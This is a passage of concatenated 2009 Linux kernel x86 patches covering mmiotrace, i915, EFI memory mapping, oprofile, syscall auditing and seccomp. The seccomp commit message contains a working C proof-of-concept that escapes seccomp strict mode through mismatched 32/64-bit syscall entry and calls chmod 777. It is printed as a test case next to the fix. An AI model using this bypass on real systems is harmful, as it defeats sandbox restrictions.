From 92b9af9e4f144535c65aee673cfad309f25fa465 Mon Sep 17 00:00:00 2001 From: Ingo Molnar Date: Sat, 28 Feb 2009 14:09:27 +0100 Subject: x86: i915 needs pgprot_writecombine() and is_io_mapping_possible() Impact: build fix Theodore Ts reported that the i915 driver needs these symbols: ERROR: "pgprot_writecombine" [drivers/gpu/drm/i915/i915.ko] undefined! ERROR: "is_io_mapping_possible" [drivers/gpu/drm/i915/i915.ko] undefined! Reported-by: Theodore Ts'o wrote: Signed-off-by: Ingo Molnar --- arch/x86/mm/iomap_32.c | 15 ++++----------- arch/x86/mm/pat.c | 2 ++ 2 files changed, 6 insertions(+), 11 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/mm/iomap_32.c b/arch/x86/mm/iomap_32.c index 6c2b1af..04102d4 100644 --- a/arch/x86/mm/iomap_32.c +++ b/arch/x86/mm/iomap_32.c @@ -20,23 +20,16 @@ #include #include -#ifdef CONFIG_X86_PAE -int -is_io_mapping_possible(resource_size_t base, unsigned long size) -{ - return 1; -} -#else -int -is_io_mapping_possible(resource_size_t base, unsigned long size) +int is_io_mapping_possible(resource_size_t base, unsigned long size) { +#ifndef CONFIG_X86_PAE /* There is no way to map greater than 1 << 32 address without PAE */ if (base + size > 0x100000000ULL) return 0; - +#endif return 1; } -#endif +EXPORT_SYMBOL_GPL(is_io_mapping_possible); /* Map 'pfn' using fixed map 'type' and protections 'prot' */ diff --git a/arch/x86/mm/pat.c b/arch/x86/mm/pat.c index aebbf67..e0ab173 100644 --- a/arch/x86/mm/pat.c +++ b/arch/x86/mm/pat.c @@ -11,6 +11,7 @@ #include #include #include +#include #include #include #include @@ -868,6 +869,7 @@ pgprot_t pgprot_writecombine(pgprot_t prot) else return pgprot_noncached(prot); } +EXPORT_SYMBOL_GPL(pgprot_writecombine); #if defined(CONFIG_DEBUG_FS) && defined(CONFIG_X86_PAT) -- cgit v1.1 From fab852aaf761a00cfe16330429b7cac15cceaeb9 Mon Sep 17 00:00:00 2001 From: Pekka Paalanen Date: Sun, 1 Mar 2009 16:09:14 +0200 Subject: x86: count errors in testmmiotrace.ko Check the read values against the written values in the MMIO read/write test. This test shows if the given MMIO test area really works as memory, which is a prerequisite for a successful mmiotrace test. Signed-off-by: Pekka Paalanen Cc: Stuart Bennett Cc: Steven Rostedt Signed-off-by: Ingo Molnar --- arch/x86/mm/testmmiotrace.c | 35 +++++++++++++++++++++++++++++------ 1 file changed, 29 insertions(+), 6 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/mm/testmmiotrace.c b/arch/x86/mm/testmmiotrace.c index ab50a8d..4b29f3b 100644 --- a/arch/x86/mm/testmmiotrace.c +++ b/arch/x86/mm/testmmiotrace.c @@ -1,5 +1,5 @@ /* - * Written by Pekka Paalanen, 2008 + * Written by Pekka Paalanen, 2008-2009 */ #include #include @@ -11,28 +11,51 @@ static unsigned long mmio_address; module_param(mmio_address, ulong, 0); MODULE_PARM_DESC(mmio_address, "Start address of the mapping of 16 kB."); +static unsigned v16(unsigned i) +{ + return i * 12 + 7; +} + +static unsigned v32(unsigned i) +{ + return i * 212371 + 13; +} + static void do_write_test(void __iomem *p) { unsigned int i; mmiotrace_printk("Write test.\n"); + for (i = 0; i < 256; i++) iowrite8(i, p + i); + for (i = 1024; i < (5 * 1024); i += 2) - iowrite16(i * 12 + 7, p + i); + iowrite16(v16(i), p + i); + for (i = (5 * 1024); i < (16 * 1024); i += 4) - iowrite32(i * 212371 + 13, p + i); + iowrite32(v32(i), p + i); } static void do_read_test(void __iomem *p) { unsigned int i; + unsigned errs[3] = { 0 }; mmiotrace_printk("Read test.\n"); + for (i = 0; i < 256; i++) - ioread8(p + i); + if (ioread8(p + i) != i) + ++errs[0]; + for (i = 1024; i < (5 * 1024); i += 2) - ioread16(p + i); + if (ioread16(p + i) != v16(i)) + ++errs[1]; + for (i = (5 * 1024); i < (16 * 1024); i += 4) - ioread32(p + i); + if (ioread32(p + i) != v32(i)) + ++errs[2]; + + mmiotrace_printk("Read errors: 8-bit %d, 16-bit %d, 32-bit %d.\n", + errs[0], errs[1], errs[2]); } static void do_test(void) -- cgit v1.1 From 5ff93697fcfe1e2b9e61db82961d8f50d1ad5d57 Mon Sep 17 00:00:00 2001 From: Pekka Paalanen Date: Sun, 1 Mar 2009 16:10:08 +0200 Subject: x86: add far read test to testmmiotrace Apparently pages far into an ioremapped region might not actually be mapped during ioremap(). Add an optional read test to try to trigger a multiply faulting MMIO access. Also add more messages to the kernel log to help debugging. This patch is based on a patch suggested by Stuart Bennett who discovered bugs in mmiotrace related to normal kernel space faults. Signed-off-by: Pekka Paalanen Cc: Stuart Bennett Cc: Steven Rostedt Signed-off-by: Ingo Molnar --- arch/x86/mm/testmmiotrace.c | 35 ++++++++++++++++++++++++++++------- 1 file changed, 28 insertions(+), 7 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/mm/testmmiotrace.c b/arch/x86/mm/testmmiotrace.c index 4b29f3b..427fd1b 100644 --- a/arch/x86/mm/testmmiotrace.c +++ b/arch/x86/mm/testmmiotrace.c @@ -9,7 +9,13 @@ static unsigned long mmio_address; module_param(mmio_address, ulong, 0); -MODULE_PARM_DESC(mmio_address, "Start address of the mapping of 16 kB."); +MODULE_PARM_DESC(mmio_address, " Start address of the mapping of 16 kB " + "(or 8 MB if read_far is non-zero)."); + +static unsigned long read_far = 0x400100; +module_param(read_far, ulong, 0); +MODULE_PARM_DESC(read_far, " Offset of a 32-bit read within 8 MB " + "(default: 0x400100)."); static unsigned v16(unsigned i) { @@ -24,6 +30,7 @@ static unsigned v32(unsigned i) static void do_write_test(void __iomem *p) { unsigned int i; + pr_info(MODULE_NAME ": write test.\n"); mmiotrace_printk("Write test.\n"); for (i = 0; i < 256; i++) @@ -40,6 +47,7 @@ static void do_read_test(void __iomem *p) { unsigned int i; unsigned errs[3] = { 0 }; + pr_info(MODULE_NAME ": read test.\n"); mmiotrace_printk("Read test.\n"); for (i = 0; i < 256; i++) @@ -58,9 +66,17 @@ static void do_read_test(void __iomem *p) errs[0], errs[1], errs[2]); } -static void do_test(void) +static void do_read_far_test(void __iomem *p) +{ + pr_info(MODULE_NAME ": read far test.\n"); + mmiotrace_printk("Read far test.\n"); + + ioread32(p + read_far); +} + +static void do_test(unsigned long size) { - void __iomem *p = ioremap_nocache(mmio_address, 0x4000); + void __iomem *p = ioremap_nocache(mmio_address, size); if (!p) { pr_err(MODULE_NAME ": could not ioremap, aborting.\n"); return; @@ -68,11 +84,15 @@ static void do_test(void) mmiotrace_printk("ioremap returned %p.\n", p); do_write_test(p); do_read_test(p); + if (read_far && read_far < size - 4) + do_read_far_test(p); iounmap(p); } static int __init init(void) { + unsigned long size = (read_far) ? (8 << 20) : (16 << 10); + if (mmio_address == 0) { pr_err(MODULE_NAME ": you have to use the module argument " "mmio_address.\n"); @@ -81,10 +101,11 @@ static int __init init(void) return -ENXIO; } - pr_warning(MODULE_NAME ": WARNING: mapping 16 kB @ 0x%08lx " - "in PCI address space, and writing " - "rubbish in there.\n", mmio_address); - do_test(); + pr_warning(MODULE_NAME ": WARNING: mapping %lu kB @ 0x%08lx in PCI " + "address space, and writing 16 kB of rubbish in there.\n", + size >> 10, mmio_address); + do_test(size); + pr_info(MODULE_NAME ": All done.\n"); return 0; } -- cgit v1.1 From e9d54cae8f03e7f963a12f44bd50d68f49b9ea36 Mon Sep 17 00:00:00 2001 From: Stuart Bennett Date: Fri, 30 Jan 2009 17:38:59 +0000 Subject: x86 mmiotrace: WARN_ONCE if dis/arming a page fails Print a full warning once, if arming or disarming a page fails. Also, if initial arming fails, do not handle the page further. This avoids the possibility of a page failing to arm and then later claiming to have handled any fault on that page. WARN_ONCE added by Pekka Paalanen. Signed-off-by: Stuart Bennett Signed-off-by: Pekka Paalanen Cc: Steven Rostedt Signed-off-by: Ingo Molnar --- arch/x86/mm/kmmio.c | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/mm/kmmio.c b/arch/x86/mm/kmmio.c index 93d82038..fb1f115 100644 --- a/arch/x86/mm/kmmio.c +++ b/arch/x86/mm/kmmio.c @@ -105,7 +105,7 @@ static struct kmmio_fault_page *get_kmmio_fault_page(unsigned long page) return NULL; } -static void set_page_present(unsigned long addr, bool present, +static int set_page_present(unsigned long addr, bool present, unsigned int *pglevel) { pteval_t pteval; @@ -116,7 +116,7 @@ static void set_page_present(unsigned long addr, bool present, if (!pte) { pr_err("kmmio: no pte for page 0x%08lx\n", addr); - return; + return -1; } if (pglevel) @@ -140,22 +140,27 @@ static void set_page_present(unsigned long addr, bool present, default: pr_err("kmmio: unexpected page level 0x%x.\n", level); - return; + return -1; } __flush_tlb_one(addr); + + return 0; } /** Mark the given page as not present. Access to it will trigger a fault. */ -static void arm_kmmio_fault_page(unsigned long page, unsigned int *pglevel) +static int arm_kmmio_fault_page(unsigned long page, unsigned int *pglevel) { - set_page_present(page & PAGE_MASK, false, pglevel); + int ret = set_page_present(page & PAGE_MASK, false, pglevel); + WARN_ONCE(ret < 0, KERN_ERR "kmmio arming 0x%08lx failed.\n", page); + return ret; } /** Mark the given page as present. */ static void disarm_kmmio_fault_page(unsigned long page, unsigned int *pglevel) { - set_page_present(page & PAGE_MASK, true, pglevel); + int ret = set_page_present(page & PAGE_MASK, true, pglevel); + WARN_ONCE(ret < 0, KERN_ERR "kmmio disarming 0x%08lx failed.\n", page); } /* @@ -326,9 +331,13 @@ static int add_kmmio_fault_page(unsigned long page) f->count = 1; f->page = page; - list_add_rcu(&f->list, kmmio_page_list(f->page)); - arm_kmmio_fault_page(f->page, NULL); + if (arm_kmmio_fault_page(f->page, NULL)) { + kfree(f); + return -1; + } + + list_add_rcu(&f->list, kmmio_page_list(f->page)); return 0; } -- cgit v1.1 From 5359b585fb5edb3db34d6cd491e1475b098c61d3 Mon Sep 17 00:00:00 2001 From: Pekka Paalanen Date: Sun, 1 Mar 2009 16:11:58 +0200 Subject: x86 mmiotrace: fix save/restore page table state From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001 From: Pekka Paalanen Date: Sun, 22 Feb 2009 20:02:43 +0200 Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the possibility, that the page was not present when it was armed. Make arm_kmmio_fault_page() store the previous page presence in struct kmmio_fault_page and use it on disarm. This patch was originally written by Stuart Bennett, but Pekka Paalanen rewrote it a little different. Signed-off-by: Pekka Paalanen Cc: Stuart Bennett Cc: Steven Rostedt Signed-off-by: Ingo Molnar --- arch/x86/mm/kmmio.c | 66 +++++++++++++++++++++++++++++++++++------------------ 1 file changed, 44 insertions(+), 22 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/mm/kmmio.c b/arch/x86/mm/kmmio.c index fb1f115..be361eb 100644 --- a/arch/x86/mm/kmmio.c +++ b/arch/x86/mm/kmmio.c @@ -32,6 +32,8 @@ struct kmmio_fault_page { struct list_head list; struct kmmio_fault_page *release_next; unsigned long page; /* location of the fault page */ + bool old_presence; /* page presence prior to arming */ + bool armed; /* * Number of times this page has been registered as a part @@ -105,8 +107,7 @@ static struct kmmio_fault_page *get_kmmio_fault_page(unsigned long page) return NULL; } -static int set_page_present(unsigned long addr, bool present, - unsigned int *pglevel) +static int set_page_presence(unsigned long addr, bool present, bool *old) { pteval_t pteval; pmdval_t pmdval; @@ -119,20 +120,21 @@ static int set_page_present(unsigned long addr, bool present, return -1; } - if (pglevel) - *pglevel = level; - switch (level) { case PG_LEVEL_2M: pmd = (pmd_t *)pte; - pmdval = pmd_val(*pmd) & ~_PAGE_PRESENT; + pmdval = pmd_val(*pmd); + *old = !!(pmdval & _PAGE_PRESENT); + pmdval &= ~_PAGE_PRESENT; if (present) pmdval |= _PAGE_PRESENT; set_pmd(pmd, __pmd(pmdval)); break; case PG_LEVEL_4K: - pteval = pte_val(*pte) & ~_PAGE_PRESENT; + pteval = pte_val(*pte); + *old = !!(pteval & _PAGE_PRESENT); + pteval &= ~_PAGE_PRESENT; if (present) pteval |= _PAGE_PRESENT; set_pte_atomic(pte, __pte(pteval)); @@ -148,19 +150,39 @@ static int set_page_present(unsigned long addr, bool present, return 0; } -/** Mark the given page as not present. Access to it will trigger a fault. */ -static int arm_kmmio_fault_page(unsigned long page, unsigned int *pglevel) +/* + * Mark the given page as not present. Access to it will trigger a fault. + * + * Struct kmmio_fault_page is protected by RCU and kmmio_lock, but the + * protection is ignored here. RCU read lock is assumed held, so the struct + * will not disappear unexpectedly. Furthermore, the caller must guarantee, + * that double arming the same virtual address (page) cannot occur. + * + * Double disarming on the other hand is allowed, and may occur when a fault + * and mmiotrace shutdown happen simultaneously. + */ +static int arm_kmmio_fault_page(struct kmmio_fault_page *f) { - int ret = set_page_present(page & PAGE_MASK, false, pglevel); - WARN_ONCE(ret < 0, KERN_ERR "kmmio arming 0x%08lx failed.\n", page); + int ret; + WARN_ONCE(f->armed, KERN_ERR "kmmio page already armed.\n"); + if (f->armed) { + pr_warning("kmmio double-arm: page 0x%08lx, ref %d, old %d\n", + f->page, f->count, f->old_presence); + } + ret = set_page_presence(f->page, false, &f->old_presence); + WARN_ONCE(ret < 0, KERN_ERR "kmmio arming 0x%08lx failed.\n", f->page); + f->armed = true; return ret; } -/** Mark the given page as present. */ -static void disarm_kmmio_fault_page(unsigned long page, unsigned int *pglevel) +/** Restore the given page to saved presence state. */ +static void disarm_kmmio_fault_page(struct kmmio_fault_page *f) { - int ret = set_page_present(page & PAGE_MASK, true, pglevel); - WARN_ONCE(ret < 0, KERN_ERR "kmmio disarming 0x%08lx failed.\n", page); + bool tmp; + int ret = set_page_presence(f->page, f->old_presence, &tmp); + WARN_ONCE(ret < 0, + KERN_ERR "kmmio disarming 0x%08lx failed.\n", f->page); + f->armed = false; } /* @@ -207,7 +229,7 @@ int kmmio_handler(struct pt_regs *regs, unsigned long addr) ctx = &get_cpu_var(kmmio_ctx); if (ctx->active) { - disarm_kmmio_fault_page(faultpage->page, NULL); + disarm_kmmio_fault_page(faultpage); if (addr == ctx->addr) { /* * On SMP we sometimes get recursive probe hits on the @@ -249,7 +271,7 @@ int kmmio_handler(struct pt_regs *regs, unsigned long addr) regs->flags &= ~X86_EFLAGS_IF; /* Now we set present bit in PTE and single step. */ - disarm_kmmio_fault_page(ctx->fpage->page, NULL); + disarm_kmmio_fault_page(ctx->fpage); /* * If another cpu accesses the same page while we are stepping, @@ -288,7 +310,7 @@ static int post_kmmio_handler(unsigned long condition, struct pt_regs *regs) if (ctx->probe && ctx->probe->post_handler) ctx->probe->post_handler(ctx->probe, condition, regs); - arm_kmmio_fault_page(ctx->fpage->page, NULL); + arm_kmmio_fault_page(ctx->fpage); regs->flags &= ~X86_EFLAGS_TF; regs->flags |= ctx->saved_flags; @@ -320,19 +342,19 @@ static int add_kmmio_fault_page(unsigned long page) f = get_kmmio_fault_page(page); if (f) { if (!f->count) - arm_kmmio_fault_page(f->page, NULL); + arm_kmmio_fault_page(f); f->count++; return 0; } - f = kmalloc(sizeof(*f), GFP_ATOMIC); + f = kzalloc(sizeof(*f), GFP_ATOMIC); if (!f) return -1; f->count = 1; f->page = page; - if (arm_kmmio_fault_page(f->page, NULL)) { + if (arm_kmmio_fault_page(f)) { kfree(f); return -1; } @@ -356,7 +378,7 @@ static void release_kmmio_fault_page(unsigned long page, f->count--; BUG_ON(f->count < 0); if (!f->count) { - disarm_kmmio_fault_page(f->page, NULL); + disarm_kmmio_fault_page(f); f->release_next = *release_list; *release_list = f; } -- cgit v1.1 From 0b700a6a253b6a3b3059bb9a9247a73490ee33fb Mon Sep 17 00:00:00 2001 From: Pekka Paalanen Date: Sun, 1 Mar 2009 16:12:48 +0200 Subject: x86 mmiotrace: split set_page_presence() From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001 From: Pekka Paalanen Date: Sat, 28 Feb 2009 21:34:59 +0200 Split set_page_presence() in kmmio.c into two more functions set_pmd_presence() and set_pte_presence(). Purely code reorganization, no functional changes. Signed-off-by: Pekka Paalanen Cc: Stuart Bennett Cc: Steven Rostedt Signed-off-by: Ingo Molnar --- arch/x86/mm/kmmio.c | 41 ++++++++++++++++++++++------------------- 1 file changed, 22 insertions(+), 19 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/mm/kmmio.c b/arch/x86/mm/kmmio.c index be361eb..d297775 100644 --- a/arch/x86/mm/kmmio.c +++ b/arch/x86/mm/kmmio.c @@ -107,12 +107,29 @@ static struct kmmio_fault_page *get_kmmio_fault_page(unsigned long page) return NULL; } +static void set_pmd_presence(pmd_t *pmd, bool present, bool *old) +{ + pmdval_t v = pmd_val(*pmd); + *old = !!(v & _PAGE_PRESENT); + v &= ~_PAGE_PRESENT; + if (present) + v |= _PAGE_PRESENT; + set_pmd(pmd, __pmd(v)); +} + +static void set_pte_presence(pte_t *pte, bool present, bool *old) +{ + pteval_t v = pte_val(*pte); + *old = !!(v & _PAGE_PRESENT); + v &= ~_PAGE_PRESENT; + if (present) + v |= _PAGE_PRESENT; + set_pte_atomic(pte, __pte(v)); +} + static int set_page_presence(unsigned long addr, bool present, bool *old) { - pteval_t pteval; - pmdval_t pmdval; unsigned int level; - pmd_t *pmd; pte_t *pte = lookup_address(addr, &level); if (!pte) { @@ -122,31 +139,17 @@ static int set_page_presence(unsigned long addr, bool present, bool *old) switch (level) { case PG_LEVEL_2M: - pmd = (pmd_t *)pte; - pmdval = pmd_val(*pmd); - *old = !!(pmdval & _PAGE_PRESENT); - pmdval &= ~_PAGE_PRESENT; - if (present) - pmdval |= _PAGE_PRESENT; - set_pmd(pmd, __pmd(pmdval)); + set_pmd_presence((pmd_t *)pte, present, old); break; - case PG_LEVEL_4K: - pteval = pte_val(*pte); - *old = !!(pteval & _PAGE_PRESENT); - pteval &= ~_PAGE_PRESENT; - if (present) - pteval |= _PAGE_PRESENT; - set_pte_atomic(pte, __pte(pteval)); + set_pte_presence(pte, present, old); break; - default: pr_err("kmmio: unexpected page level 0x%x.\n", level); return -1; } __flush_tlb_one(addr); - return 0; } -- cgit v1.1 From 3e39aa156a24ce386da378784edd0f748c770087 Mon Sep 17 00:00:00 2001 From: Stuart Bennett Date: Thu, 5 Feb 2009 11:02:02 +0000 Subject: x86 mmiotrace: improve handling of secondary faults Upgrade some kmmio.c debug messages to warnings. Allow secondary faults on probed pages to fall through, and only log secondary faults that are not due to non-present pages. Patch edited by Pekka Paalanen. Signed-off-by: Stuart Bennett Signed-off-by: Pekka Paalanen Cc: Steven Rostedt Signed-off-by: Ingo Molnar --- arch/x86/mm/kmmio.c | 40 ++++++++++++++++++++++------------------ 1 file changed, 22 insertions(+), 18 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/mm/kmmio.c b/arch/x86/mm/kmmio.c index d297775..4c66bd3 100644 --- a/arch/x86/mm/kmmio.c +++ b/arch/x86/mm/kmmio.c @@ -232,28 +232,32 @@ int kmmio_handler(struct pt_regs *regs, unsigned long addr) ctx = &get_cpu_var(kmmio_ctx); if (ctx->active) { - disarm_kmmio_fault_page(faultpage); if (addr == ctx->addr) { /* - * On SMP we sometimes get recursive probe hits on the - * same address. Context is already saved, fall out. + * A second fault on the same page means some other + * condition needs handling by do_page_fault(), the + * page really not being present is the most common. */ - pr_debug("kmmio: duplicate probe hit on CPU %d, for " - "address 0x%08lx.\n", - smp_processor_id(), addr); - ret = 1; - goto no_kmmio_ctx; - } - /* - * Prevent overwriting already in-flight context. - * This should not happen, let's hope disarming at least - * prevents a panic. - */ - pr_emerg("kmmio: recursive probe hit on CPU %d, " + pr_debug("kmmio: secondary hit for 0x%08lx CPU %d.\n", + addr, smp_processor_id()); + + if (!faultpage->old_presence) + pr_info("kmmio: unexpected secondary hit for " + "address 0x%08lx on CPU %d.\n", addr, + smp_processor_id()); + } else { + /* + * Prevent overwriting already in-flight context. + * This should not happen, let's hope disarming at + * least prevents a panic. + */ + pr_emerg("kmmio: recursive probe hit on CPU %d, " "for address 0x%08lx. Ignoring.\n", smp_processor_id(), addr); - pr_emerg("kmmio: previous hit was at 0x%08lx.\n", - ctx->addr); + pr_emerg("kmmio: previous hit was at 0x%08lx.\n", + ctx->addr); + disarm_kmmio_fault_page(faultpage); + } goto no_kmmio_ctx; } ctx->active++; @@ -305,7 +309,7 @@ static int post_kmmio_handler(unsigned long condition, struct pt_regs *regs) struct kmmio_context *ctx = &get_cpu_var(kmmio_ctx); if (!ctx->active) { - pr_debug("kmmio: spurious debug trap on CPU %d.\n", + pr_warning("kmmio: spurious debug trap on CPU %d.\n", smp_processor_id()); goto out; } -- cgit v1.1 From 340430c572f7b2b275d39965e88bafa71693cb23 Mon Sep 17 00:00:00 2001 From: Pekka Paalanen Date: Tue, 24 Feb 2009 21:44:15 +0200 Subject: x86 mmiotrace: fix race with release_kmmio_fault_page() There was a theoretical possibility to a race between arming a page in post_kmmio_handler() and disarming the page in release_kmmio_fault_page(): cpu0 cpu1 ------------------------------------------------------------------ mmiotrace shutdown enter release_kmmio_fault_page fault on the page disarm the page disarm the page handle the MMIO access re-arm the page put the page on release list remove_kmmio_fault_pages() fault on the page page not known to mmiotrace fall back to do_page_fault() *KABOOM* (This scenario also shows the double disarm case which is allowed.) Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking if the page is being released from mmiotrace. Signed-off-by: Pekka Paalanen Cc: Stuart Bennett Cc: Steven Rostedt Signed-off-by: Ingo Molnar --- arch/x86/mm/kmmio.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/mm/kmmio.c b/arch/x86/mm/kmmio.c index 4c66bd3..9f20503 100644 --- a/arch/x86/mm/kmmio.c +++ b/arch/x86/mm/kmmio.c @@ -38,7 +38,8 @@ struct kmmio_fault_page { /* * Number of times this page has been registered as a part * of a probe. If zero, page is disarmed and this may be freed. - * Used only by writers (RCU). + * Used only by writers (RCU) and post_kmmio_handler(). + * Protected by kmmio_lock, when linked into kmmio_page_table. */ int count; }; @@ -317,7 +318,11 @@ static int post_kmmio_handler(unsigned long condition, struct pt_regs *regs) if (ctx->probe && ctx->probe->post_handler) ctx->probe->post_handler(ctx->probe, condition, regs); - arm_kmmio_fault_page(ctx->fpage); + /* Prevent racing against release_kmmio_fault_page(). */ + spin_lock(&kmmio_lock); + if (ctx->fpage->count) + arm_kmmio_fault_page(ctx->fpage); + spin_unlock(&kmmio_lock); regs->flags &= ~X86_EFLAGS_TF; regs->flags |= ctx->saved_flags; -- cgit v1.1 From ccbe495caa5e604b04d5a31d7459a6f6a76a756c Mon Sep 17 00:00:00 2001 From: Roland McGrath Date: Fri, 27 Feb 2009 19:03:24 -0800 Subject: x86-64: syscall-audit: fix 32/64 syscall hole On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases, audit_syscall_entry() will use the wrong system call number table and the wrong system call argument registers. This could be used to circumvent a syscall audit configuration that filters based on the syscall numbers or argument details. Signed-off-by: Roland McGrath Signed-off-by: Linus Torvalds --- arch/x86/kernel/ptrace.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'arch/x86') diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c index 5a4c23d..06ca07f 100644 --- a/arch/x86/kernel/ptrace.c +++ b/arch/x86/kernel/ptrace.c @@ -1388,7 +1388,7 @@ void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs, #ifdef CONFIG_X86_32 # define IS_IA32 1 #elif defined CONFIG_IA32_EMULATION -# define IS_IA32 test_thread_flag(TIF_IA32) +# define IS_IA32 is_compat_task() #else # define IS_IA32 0 #endif -- cgit v1.1 From 5b1017404aea6d2e552e991b3fd814d839e9cd67 Mon Sep 17 00:00:00 2001 From: Roland McGrath Date: Fri, 27 Feb 2009 23:25:54 -0800 Subject: x86-64: seccomp: fix 32/64 syscall hole On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include #include #include #include #include #include #include int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds --- arch/x86/include/asm/seccomp_32.h | 6 ------ arch/x86/include/asm/seccomp_64.h | 8 -------- 2 files changed, 14 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/include/asm/seccomp_32.h b/arch/x86/include/asm/seccomp_32.h index a6ad87b..b811d6f 100644 --- a/arch/x86/include/asm/seccomp_32.h +++ b/arch/x86/include/asm/seccomp_32.h @@ -1,12 +1,6 @@ #ifndef _ASM_X86_SECCOMP_32_H #define _ASM_X86_SECCOMP_32_H -#include - -#ifdef TIF_32BIT -#error "unexpected TIF_32BIT on i386" -#endif - #include #define __NR_seccomp_read __NR_read diff --git a/arch/x86/include/asm/seccomp_64.h b/arch/x86/include/asm/seccomp_64.h index 4171bb7..84ec1bd 100644 --- a/arch/x86/include/asm/seccomp_64.h +++ b/arch/x86/include/asm/seccomp_64.h @@ -1,14 +1,6 @@ #ifndef _ASM_X86_SECCOMP_64_H #define _ASM_X86_SECCOMP_64_H -#include - -#ifdef TIF_32BIT -#error "unexpected TIF_32BIT on x86_64" -#else -#define TIF_32BIT TIF_IA32 -#endif - #include #include -- cgit v1.1 From 0fc59d3a01820765e5f3a723733728758b0cf577 Mon Sep 17 00:00:00 2001 From: Yinghai Lu Date: Mon, 2 Mar 2009 23:36:13 -0800 Subject: x86: fix init_memory_mapping() to handle small ranges Impact: fix failed EFI bootup in certain circumstances Ying Huang found init_memory_mapping() has problem with small ranges less than 2M when he tried to direct map the EFI runtime code out of max_low_pfn_mapped. It turns out we never considered that case and didn't check the range... Reported-by: Ying Huang Signed-off-by: Yinghai Lu Cc: Brian Maly LKML-Reference: <49ACDDED.1060508@kernel.org> Signed-off-by: Ingo Molnar --- arch/x86/mm/init_64.c | 2 ++ 1 file changed, 2 insertions(+) (limited to 'arch/x86') diff --git a/arch/x86/mm/init_64.c b/arch/x86/mm/init_64.c index e6d36b4..b135225 100644 --- a/arch/x86/mm/init_64.c +++ b/arch/x86/mm/init_64.c @@ -714,6 +714,8 @@ unsigned long __init_refok init_memory_mapping(unsigned long start, pos = start_pfn << PAGE_SHIFT; end_pfn = ((pos + (PMD_SIZE - 1)) >> PMD_SHIFT) << (PMD_SHIFT - PAGE_SHIFT); + if (end_pfn > (end >> PAGE_SHIFT)) + end_pfn = end >> PAGE_SHIFT; if (start_pfn < end_pfn) { nr_range = save_mr(mr, nr_range, start_pfn, end_pfn, 0); pos = end_pfn << PAGE_SHIFT; -- cgit v1.1 From 780eef9492b16a1543a3b2ae9f9526a735fc9856 Mon Sep 17 00:00:00 2001 From: Tim Blechmann Date: Thu, 19 Feb 2009 17:34:03 +0100 Subject: x86: oprofile: don't set counter width from cpuid on Core2 Impact: fix stuck NMIs and non-working oprofile on certain CPUs Resetting the counter width of the performance counters on Intel's Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode. This should fix bug #12395: http://bugzilla.kernel.org/show_bug.cgi?id=12395 Signed-off-by: Tim Blechmann Signed-off-by: Robert Richter LKML-Reference: <20090303100412.GC10085@erda.amd.com> Cc: Signed-off-by: Ingo Molnar --- arch/x86/oprofile/op_model_ppro.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) (limited to 'arch/x86') diff --git a/arch/x86/oprofile/op_model_ppro.c b/arch/x86/oprofile/op_model_ppro.c index e9f80c7..10131fb 100644 --- a/arch/x86/oprofile/op_model_ppro.c +++ b/arch/x86/oprofile/op_model_ppro.c @@ -78,8 +78,18 @@ static void ppro_setup_ctrs(struct op_msrs const * const msrs) if (cpu_has_arch_perfmon) { union cpuid10_eax eax; eax.full = cpuid_eax(0xa); - if (counter_width < eax.split.bit_width) - counter_width = eax.split.bit_width; + + /* + * For Core2 (family 6, model 15), don't reset the + * counter width: + */ + if (!(eax.split.version_id == 0 && + current_cpu_data.x86 == 6 && + current_cpu_data.x86_model == 15)) { + + if 